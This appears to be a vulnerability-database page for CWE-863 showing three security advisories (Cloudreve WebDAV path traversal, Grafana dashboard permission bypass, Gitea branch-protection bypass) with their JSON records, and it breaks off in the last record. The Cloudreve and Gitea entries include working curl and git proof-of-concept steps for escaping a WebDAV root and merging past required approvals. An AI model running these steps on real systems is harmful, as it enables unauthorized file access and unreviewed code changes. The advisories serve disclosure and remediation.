CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
6275 vulnerabilities reference this CWE, most recent first.
GHSA-W5FV-7X5Q-G8QP
Vulnerability from github – Published: 2026-08-26 15:22 – Updated: 2026-08-26 15:22Summary
A Cloudreve WebDAV account stores a uri that defines the account's root folder. The WebDAV request handler (stripPrefix in pkg/webdav/webdav.go) trims the /dav prefix from the request path and joins the remainder to that root with fs.URI.JoinRaw, but never checks that the joined URI stays inside the root.
Go's net/http decodes %2e%2e to .. and %2f to / in r.URL.Path before the handler sees it, and JoinRaw resolves .. segments through the standard library's url.URL.JoinPath. A request such as GET /dav/%2e%2e/outside.txt against a credential rooted at cloudreve://my/restricted therefore resolves to cloudreve://my/outside.txt. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.
The escape stays inside the same Cloudreve user's namespace because downstream DBFS owner checks still apply. It does not cross into another user's files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary — the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).
Technical Detail
Root cause
stripPrefix joins the request suffix onto the account base with no containment check:
// pkg/webdav/webdav.go @ 54dc81d
func stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) {
base, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI)
if err != nil {
return "", nil, http.StatusInternalServerError, err
}
prefix := davPrefix // "/dav"
if r := strings.TrimPrefix(p, prefix); len(r) < len(p) {
r = strings.TrimPrefix(r, fs.Separator)
return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // <-- join, no boundary check
}
return "", nil, http.StatusNotFound, errPrefixMismatch
}
JoinRaw splits on / and delegates to the standard library:
// pkg/filemanager/fs/uri.go @ 54dc81d
func (u *URI) JoinRaw(elem string) *URI {
return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}
func (u *URI) Join(elem ...string) *URI {
newUrl, _ := url.Parse(u.U.String())
return &URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string {
return PathEscape(s)
})...)}
}
PathEscape leaves a . untouched (shouldEscape returns false for .), so the literal segment .. survives into url.URL.JoinPath, which cleans the path and resolves the parent reference.
Proof of Concept
The full server was not run from the checkout (the embedded frontend asset assets.zip is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.
Layer 1 — net/http hands the handler a decoded, uncleaned path
A standard-library HTTP server, hit over a real socket with raw request targets (equivalent to curl --path-as-is), shows what c.Request.URL.Path holds inside the handler:
REQUEST: GET /dav/%2e%2e/outside.txt
handler observed: URL.Path="/dav/../outside.txt" RawPath="/dav/%2e%2e/outside.txt" -> 200
REQUEST: PROPFIND /dav/%2e%2e/
handler observed: URL.Path="/dav/../" RawPath="/dav/%2e%2e/" -> 200
REQUEST: PUT /dav/%2e%2e/created-outside.txt
handler observed: URL.Path="/dav/../created-outside.txt" -> 200
REQUEST: GET /dav/%2F..%2Foutside.txt
handler observed: URL.Path="/dav//../outside.txt" RawPath="/dav/%2F..%2Foutside.txt" -> 200
The path is decoded but never cleaned. Gin does not rewrite Request.URL.Path, so the Cloudreve handler observes the same value.
Layer 2 — Cloudreve's URI resolution escapes the root
Re-running Cloudreve's exact PathEscape / shouldEscape / Join / JoinRaw / NewUriFromString code (copied verbatim from uri.go @ 54dc81d) against the real net/url library, with base cloudreve://my/restricted:
traversal %2e%2e URL.Path=/dav/../outside.txt suffix="../outside.txt" => cloudreve://my/outside.txt
traversal %2F..%2F URL.Path=/dav//../outside.txt suffix="/../outside.txt" => cloudreve://my/outside.txt
benign nested URL.Path=/dav/sub/normal.txt suffix="sub/normal.txt" => cloudreve://my/restricted/sub/normal.txt
double-encoded (ctrl) URL.Path=/dav/%2e%2e/outside.txt suffix="%2e%2e/outside.txt" => cloudreve://my/restricted/%252e%252e/outside.txt
deep traversal URL.Path=/dav/../../etc.txt suffix="../../etc.txt" => cloudreve://my/etc.txt
The traversal variants land outside restricted; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the my root (host stays my, confirming the same-owner ceiling).
Live request shapes (against a deployed instance)
# Read outside the DAV root (works for read-only credentials too)
curl --path-as-is -i -u 'victim@example.com:DAV_PASSWORD' \
'https://cloudreve.example/dav/%2e%2e/outside.txt'
# List outside the DAV root
curl --path-as-is -i -X PROPFIND -H 'Depth: 1' \
-u 'victim@example.com:DAV_PASSWORD' \
'https://cloudreve.example/dav/%2e%2e/'
# Write outside the DAV root (writable credentials)
printf 'created outside DAV root\n' | curl --path-as-is -i -X PUT \
-u 'victim@example.com:DAV_PASSWORD' --data-binary @- \
'https://cloudreve.example/dav/%2e%2e/created-outside.txt'
Impact
- Read-only scoped credential: read and list any file in the owner's namespace, outside the folder the credential was scoped to.
- Writable scoped credential: additionally create, overwrite, move, and delete those files.
In normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner's whole my filesystem.
Suggested Fix
fs.URI already ships the predicate needed (EqualOrIsDescendantOf), so the fix is small:
prefix := davPrefix
if r := strings.TrimPrefix(p, prefix); len(r) < len(p) {
r = strings.TrimPrefix(r, fs.Separator)
- return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil
+ candidate := base.JoinRaw(util.RemoveSlash(r))
+ if !candidate.EqualOrIsDescendantOf(base, "") {
+ return "", nil, http.StatusForbidden, errPrefixMismatch
+ }
+ return r, candidate, http.StatusOK, nil
}
return "", nil, http.StatusNotFound, errPrefixMismatch
Regression tests worth adding:
/dav/%2e%2e/outside.txtfrom basecloudreve://my/restricted→ rejected/dav/%2F..%2Foutside.txtfrom basecloudreve://my/restricted→ rejectedCOPY/MOVEwithDestination: https://host/dav/%2e%2e/outside.txt→ rejected/dav/sub/normal.txt→ still resolves under the account root
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0-20260606032813-26b6b1044b02"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.0-20250225100611-da4e44b77af4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54563"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T15:22:12Z",
"nvd_published_at": "2026-07-15T15:16:45Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA Cloudreve WebDAV account stores a `uri` that defines the account\u0027s root folder. The WebDAV request handler (`stripPrefix` in `pkg/webdav/webdav.go`) trims the `/dav` prefix from the request path and joins the remainder to that root with `fs.URI.JoinRaw`, but never checks that the joined URI stays inside the root.\n\nGo\u0027s `net/http` decodes `%2e%2e` to `..` and `%2f` to `/` in `r.URL.Path` before the handler sees it, and `JoinRaw` resolves `..` segments through the standard library\u0027s `url.URL.JoinPath`. A request such as `GET /dav/%2e%2e/outside.txt` against a credential rooted at `cloudreve://my/restricted` therefore resolves to `cloudreve://my/outside.txt`. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.\n\nThe escape stays inside the same Cloudreve user\u0027s namespace because downstream DBFS owner checks still apply. It does not cross into another user\u0027s files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary \u2014 the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).\n\n## Technical Detail\n\n### Root cause\n\n`stripPrefix` joins the request suffix onto the account base with no containment check:\n\n```go\n// pkg/webdav/webdav.go @ 54dc81d\nfunc stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) {\n\tbase, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI)\n\tif err != nil {\n\t\treturn \"\", nil, http.StatusInternalServerError, err\n\t}\n\n\tprefix := davPrefix // \"/dav\"\n\tif r := strings.TrimPrefix(p, prefix); len(r) \u003c len(p) {\n\t\tr = strings.TrimPrefix(r, fs.Separator)\n\t\treturn r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // \u003c-- join, no boundary check\n\t}\n\treturn \"\", nil, http.StatusNotFound, errPrefixMismatch\n}\n```\n\n`JoinRaw` splits on `/` and delegates to the standard library:\n\n```go\n// pkg/filemanager/fs/uri.go @ 54dc81d\nfunc (u *URI) JoinRaw(elem string) *URI {\n\treturn u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)\n}\n\nfunc (u *URI) Join(elem ...string) *URI {\n\tnewUrl, _ := url.Parse(u.U.String())\n\treturn \u0026URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string {\n\t\treturn PathEscape(s)\n\t})...)}\n}\n```\n\n`PathEscape` leaves a `.` untouched (`shouldEscape` returns `false` for `.`), so the literal segment `..` survives into `url.URL.JoinPath`, which cleans the path and resolves the parent reference.\n\n\n## Proof of Concept\n\nThe full server was not run from the checkout (the embedded frontend asset `assets.zip` is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.\n\n### Layer 1 \u2014 `net/http` hands the handler a decoded, *uncleaned* path\n\nA standard-library HTTP server, hit over a real socket with raw request targets (equivalent to `curl --path-as-is`), shows what `c.Request.URL.Path` holds inside the handler:\n\n```\nREQUEST: GET /dav/%2e%2e/outside.txt\n handler observed: URL.Path=\"/dav/../outside.txt\" RawPath=\"/dav/%2e%2e/outside.txt\" -\u003e 200\nREQUEST: PROPFIND /dav/%2e%2e/\n handler observed: URL.Path=\"/dav/../\" RawPath=\"/dav/%2e%2e/\" -\u003e 200\nREQUEST: PUT /dav/%2e%2e/created-outside.txt\n handler observed: URL.Path=\"/dav/../created-outside.txt\" -\u003e 200\nREQUEST: GET /dav/%2F..%2Foutside.txt\n handler observed: URL.Path=\"/dav//../outside.txt\" RawPath=\"/dav/%2F..%2Foutside.txt\" -\u003e 200\n```\n\nThe path is decoded but never cleaned. Gin does not rewrite `Request.URL.Path`, so the Cloudreve handler observes the same value.\n\n### Layer 2 \u2014 Cloudreve\u0027s URI resolution escapes the root\n\nRe-running Cloudreve\u0027s exact `PathEscape` / `shouldEscape` / `Join` / `JoinRaw` / `NewUriFromString` code (copied verbatim from `uri.go @ 54dc81d`) against the real `net/url` library, with base `cloudreve://my/restricted`:\n\n```\ntraversal %2e%2e URL.Path=/dav/../outside.txt suffix=\"../outside.txt\" =\u003e cloudreve://my/outside.txt\ntraversal %2F..%2F URL.Path=/dav//../outside.txt suffix=\"/../outside.txt\" =\u003e cloudreve://my/outside.txt\nbenign nested URL.Path=/dav/sub/normal.txt suffix=\"sub/normal.txt\" =\u003e cloudreve://my/restricted/sub/normal.txt\ndouble-encoded (ctrl) URL.Path=/dav/%2e%2e/outside.txt suffix=\"%2e%2e/outside.txt\" =\u003e cloudreve://my/restricted/%252e%252e/outside.txt\ndeep traversal URL.Path=/dav/../../etc.txt suffix=\"../../etc.txt\" =\u003e cloudreve://my/etc.txt\n```\n\nThe traversal variants land outside `restricted`; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the `my` root (host stays `my`, confirming the same-owner ceiling).\n\n### Live request shapes (against a deployed instance)\n\n```bash\n# Read outside the DAV root (works for read-only credentials too)\ncurl --path-as-is -i -u \u0027victim@example.com:DAV_PASSWORD\u0027 \\\n \u0027https://cloudreve.example/dav/%2e%2e/outside.txt\u0027\n\n# List outside the DAV root\ncurl --path-as-is -i -X PROPFIND -H \u0027Depth: 1\u0027 \\\n -u \u0027victim@example.com:DAV_PASSWORD\u0027 \\\n \u0027https://cloudreve.example/dav/%2e%2e/\u0027\n\n# Write outside the DAV root (writable credentials)\nprintf \u0027created outside DAV root\\n\u0027 | curl --path-as-is -i -X PUT \\\n -u \u0027victim@example.com:DAV_PASSWORD\u0027 --data-binary @- \\\n \u0027https://cloudreve.example/dav/%2e%2e/created-outside.txt\u0027\n```\n\n## Impact\n\n- **Read-only scoped credential**: read and list any file in the owner\u0027s namespace, outside the folder the credential was scoped to.\n- **Writable scoped credential**: additionally create, overwrite, move, and delete those files.\n\nIn normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner\u0027s whole `my` filesystem.\n\n## Suggested Fix\n\n`fs.URI` already ships the predicate needed (`EqualOrIsDescendantOf`), so the fix is small:\n\n```diff\n \tprefix := davPrefix\n \tif r := strings.TrimPrefix(p, prefix); len(r) \u003c len(p) {\n \t\tr = strings.TrimPrefix(r, fs.Separator)\n-\t\treturn r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil\n+\t\tcandidate := base.JoinRaw(util.RemoveSlash(r))\n+\t\tif !candidate.EqualOrIsDescendantOf(base, \"\") {\n+\t\t\treturn \"\", nil, http.StatusForbidden, errPrefixMismatch\n+\t\t}\n+\t\treturn r, candidate, http.StatusOK, nil\n \t}\n \treturn \"\", nil, http.StatusNotFound, errPrefixMismatch\n```\n\nRegression tests worth adding:\n\n- `/dav/%2e%2e/outside.txt` from base `cloudreve://my/restricted` \u2192 rejected\n- `/dav/%2F..%2Foutside.txt` from base `cloudreve://my/restricted` \u2192 rejected\n- `COPY`/`MOVE` with `Destination: https://host/dav/%2e%2e/outside.txt` \u2192 rejected\n- `/dav/sub/normal.txt` \u2192 still resolves under the account root",
"id": "GHSA-w5fv-7x5q-g8qp",
"modified": "2026-08-26T15:22:12Z",
"published": "2026-08-26T15:22:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w5fv-7x5q-g8qp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54563"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudreve/cloudreve"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/releases/tag/4.16.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cloudreve WebDAV (`/dav`) has Path Traversal / Broken Access Control \u2014 scoped DAV credential escapes its configured account root"
}
GHSA-W5J6-7WPF-G6RW
Vulnerability from github – Published: 2026-01-15 15:31 – Updated: 2026-01-15 15:31A security vulnerability in the /apis/dashboard.grafana.app/* endpoints allows authenticated users to bypass dashboard and folder permissions. The vulnerability affects all API versions (v0alpha1, v1alpha1, v2alpha1). Impact: - Viewers can view all dashboards/folders regardless of permissions - Editors can view/edit/delete all dashboards/folders regardless of permissions - Editors can create dashboards in any folder regardless of permissions - Anonymous users with viewer/editor roles are similarly affected Organization isolation boundaries remain intact. The vulnerability only affects dashboard access and does not grant access to datasources.
{
"affected": [],
"aliases": [
"CVE-2026-0713"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-15T13:16:04Z",
"severity": "HIGH"
},
"details": "A security vulnerability in the /apis/dashboard.grafana.app/* endpoints allows authenticated users to bypass dashboard and folder permissions. The vulnerability affects all API versions (v0alpha1, v1alpha1, v2alpha1). Impact: - Viewers can view all dashboards/folders regardless of permissions - Editors can view/edit/delete all dashboards/folders regardless of permissions - Editors can create dashboards in any folder regardless of permissions - Anonymous users with viewer/editor roles are similarly affected Organization isolation boundaries remain intact. The vulnerability only affects dashboard access and does not grant access to datasources.",
"id": "GHSA-w5j6-7wpf-g6rw",
"modified": "2026-01-15T15:31:16Z",
"published": "2026-01-15T15:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0713"
},
{
"type": "WEB",
"url": "https://sick.com/psirt"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
},
{
"type": "WEB",
"url": "https://www.first.org/cvss/calculator/3.1"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0002.json"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0002.pdf"
},
{
"type": "WEB",
"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W5PG-649R-P6GG
Vulnerability from github – Published: 2026-07-21 20:14 – Updated: 2026-07-21 20:15Summary
Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.
- Confirmed on Gitea 1.25.4 (
1.25.4+41-g96515c0f20)
Vulnerability Details
Root Cause
When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.
When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:
- Updates pr.BaseBranch
- Recalculates merge feasibility and divergence
- Deletes old push comments
- Creates a "change target branch" comment
But it does not:
- Re-evaluate official on existing reviews
- Dismiss existing approvals
- Check whether reviewers are in the new target branch's approval whitelist
At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.
Relevant Code Paths
- Review creation —
services/pull/review.go:SubmitReviewcallsIsOfficialRevieweragainst the currentpr.BaseBranch's protection rules, storesofficial=true/false - Target branch change —
services/pull/pull.go:ChangeTargetBranchmodifiespr.BaseBranchbut does not touch existing reviews - Merge check —
services/pull/check.go:CheckPullMergeable→models/issues/pull.go:GetGrantedApprovalsCountcounts storedofficial=truereviews without re-evaluating against the new branch's whitelist
Prerequisites
The attacker needs: - Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin) - The ability to create pull requests (standard for any user with push access) - A second account (or any non-admin account) to submit the approval on the unprotected branch
The attacker does not need: - Admin access - To be in the approval whitelist for the protected branch - Any interaction from the branch protection's designated approvers
Proof of Concept
Setup
Repository owner/repo with branch master protected:
- Required approvals: 1
- Approval whitelist enabled, containing only user admin-reviewer
- User attacker has write access but is not in the approval whitelist
Steps
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user
# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{
"head": "malicious-branch",
"base": "tmp-unprotected",
"title": "Add feature"
}'
# Returns PR #N
# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ACCOMPLICE_AUTH" \
-H "Content-Type: application/json" \
-d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true
# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"base": "master"}'
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false
# 7. Merge — succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"do": "merge"}'
# Returns 200 OK — malicious commit is now on master
Observed API Responses
Step 4 — Approval on unprotected branch:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}
Step 6 — Same approval after retarget to protected master:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}
The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.
Impact
- Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
- Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements
Suggested Fix
Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
IssueID: pr.IssueID,
Type: issues_model.ReviewTypeApprove,
})
if err != nil {
return err
}
newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
return err
}
for _, review := range reviews {
wasOfficial := review.Official
if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
} else {
review.Official = false
}
if wasOfficial != review.Official {
if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
return err
}
}
}
Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
IssueID: pr.IssueID,
Message: "Dismissed: PR target branch changed",
}); err != nil {
return err
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58439"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:14:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nGitea does not re-evaluate the `official` flag on existing pull request reviews when a PR\u0027s target branch is changed. An attacker with write access to a repository can obtain an `official: true` approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., `master`). The approval, which would have been `official: false` if submitted against the protected branch, is preserved and satisfies the protected branch\u0027s required approvals, allowing the attacker to merge without legitimate maintainer approval.\n\n- Confirmed on Gitea **1.25.4** (`1.25.4+41-g96515c0f20`)\n\n## Vulnerability Details\n\n### Root Cause\n\nWhen a review is submitted on a pull request, Gitea computes the `official` flag by checking whether the reviewer is in the **target branch\u0027s** approval whitelist (`IsUserOfficialReviewer` in `models/git/protected_branch.go`). This flag is stored in the database as a boolean on the review record.\n\nWhen a PR\u0027s target branch is subsequently changed via `ChangeTargetBranch` (`services/pull/pull.go:218`), the function:\n- Updates `pr.BaseBranch`\n- Recalculates merge feasibility and divergence\n- Deletes old push comments\n- Creates a \"change target branch\" comment\n\nBut it does **not**:\n- Re-evaluate `official` on existing reviews\n- Dismiss existing approvals\n- Check whether reviewers are in the new target branch\u0027s approval whitelist\n\nAt merge time, `GetGrantedApprovalsCount` (`models/issues/pull.go:766`) counts reviews where `official = true AND dismissed = false AND type = Approve`. It reads the stored boolean \u2014 it does not re-check the whitelist. The stale `official: true` from the unprotected branch satisfies the protected branch\u0027s approval requirement.\n\n### Relevant Code Paths\n\n1. **Review creation** \u2014 `services/pull/review.go:SubmitReview` calls `IsOfficialReviewer` against the current `pr.BaseBranch`\u0027s protection rules, stores `official=true/false`\n2. **Target branch change** \u2014 `services/pull/pull.go:ChangeTargetBranch` modifies `pr.BaseBranch` but does not touch existing reviews\n3. **Merge check** \u2014 `services/pull/check.go:CheckPullMergeable` \u2192 `models/issues/pull.go:GetGrantedApprovalsCount` counts stored `official=true` reviews without re-evaluating against the new branch\u0027s whitelist\n\n### Prerequisites\n\nThe attacker needs:\n- **Write (push) access** to the repository (collaborator with write role, or the ability to create branches \u2014 not admin)\n- The ability to create pull requests (standard for any user with push access)\n- A second account (or any non-admin account) to submit the approval on the unprotected branch\n\nThe attacker does **not** need:\n- Admin access\n- To be in the approval whitelist for the protected branch\n- Any interaction from the branch protection\u0027s designated approvers\n\n## Proof of Concept\n\n### Setup\n\nRepository `owner/repo` with branch `master` protected:\n- Required approvals: 1\n- Approval whitelist enabled, containing only user `admin-reviewer`\n- User `attacker` has write access but is **not** in the approval whitelist\n\n### Steps\n\n```bash\nBASE=\"http://gitea-instance:3000\"\nOWNER=\"owner\"\nREPO=\"repo\"\nATTACKER_AUTH=\"attacker:password\"\nACCOMPLICE_AUTH=\"accomplice:password\" # any non-whitelisted user\n\n# 1. Create an unprotected temporary branch from master\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/branches\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"new_branch_name\": \"tmp-unprotected\", \"old_branch_name\": \"master\"}\u0027\n\n# 2. Push a malicious commit to a feature branch\ngit checkout -b malicious-branch origin/master\necho \"malicious payload\" \u003e payload.txt\ngit add payload.txt\ngit commit -m \"innocent looking commit\"\ngit push origin malicious-branch\n\n# 3. Create PR targeting the UNPROTECTED branch\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"head\": \"malicious-branch\",\n \"base\": \"tmp-unprotected\",\n \"title\": \"Add feature\"\n }\u0027\n# Returns PR #N\n\n# 4. Approve the PR (official=true because tmp-unprotected has no protection)\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews\" \\\n -u \"$ACCOMPLICE_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"event\": \"APPROVED\", \"body\": \"LGTM\"}\u0027\n# Response includes: \"official\": true\n\n# 5. Retarget the PR to protected master\ncurl -X PATCH \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"base\": \"master\"}\u0027\n\n# 6. Verify: approval is still official=true against master\ncurl \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews\" \\\n -u \"$ATTACKER_AUTH\"\n# Response: \"official\": true, \"dismissed\": false, \"stale\": false\n\n# 7. Merge \u2014 succeeds despite no whitelisted approver reviewing\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"do\": \"merge\"}\u0027\n# Returns 200 OK \u2014 malicious commit is now on master\n```\n\n### Observed API Responses\n\n**Step 4** \u2014 Approval on unprotected branch:\n```json\n{\"id\": 16, \"state\": \"APPROVED\", \"official\": true, \"dismissed\": false, \"user\": {\"login\": \"accomplice\"}}\n```\n\n**Step 6** \u2014 Same approval after retarget to protected master:\n```json\n{\"id\": 16, \"state\": \"APPROVED\", \"official\": true, \"dismissed\": false, \"stale\": false, \"user\": {\"login\": \"accomplice\"}}\n```\n\nThe `official` flag is unchanged. Under the protected branch\u0027s rules, this user\u0027s approval should be `official: false`.\n\n## Impact\n\n- **Branch protection bypass**: Protected branches with approval whitelists can be merged into without any whitelisted user approving\n- **Privilege escalation**: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements\n\n## Suggested Fix\n\nRe-evaluate the `official` flag on all existing reviews when a PR\u0027s target branch changes. In `services/pull/pull.go:ChangeTargetBranch`, after updating `pr.BaseBranch`:\n\n```go\n// After updating the base branch, re-evaluate official status on all reviews\nreviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{\n IssueID: pr.IssueID,\n Type: issues_model.ReviewTypeApprove,\n})\nif err != nil {\n return err\n}\n\nnewProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)\nif err != nil {\n return err\n}\n\nfor _, review := range reviews {\n wasOfficial := review.Official\n if newProtectBranch != nil \u0026\u0026 newProtectBranch.EnableApprovalsWhitelist {\n review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)\n } else {\n review.Official = false\n }\n if wasOfficial != review.Official {\n if _, err := db.GetEngine(ctx).ID(review.ID).Cols(\"official\").Update(review); err != nil {\n return err\n }\n }\n}\n```\n\nAlternatively, dismiss all existing approvals on retarget (simpler, more conservative):\n\n```go\n// Dismiss all approvals when target branch changes\nif _, err := issues_model.DismissReview(ctx, \u0026issues_model.DismissReviewOptions{\n IssueID: pr.IssueID,\n Message: \"Dismissed: PR target branch changed\",\n}); err != nil {\n return err\n}\n```",
"id": "GHSA-w5pg-649r-p6gg",
"modified": "2026-07-21T20:15:33Z",
"published": "2026-07-21T20:14:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38319"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38402"
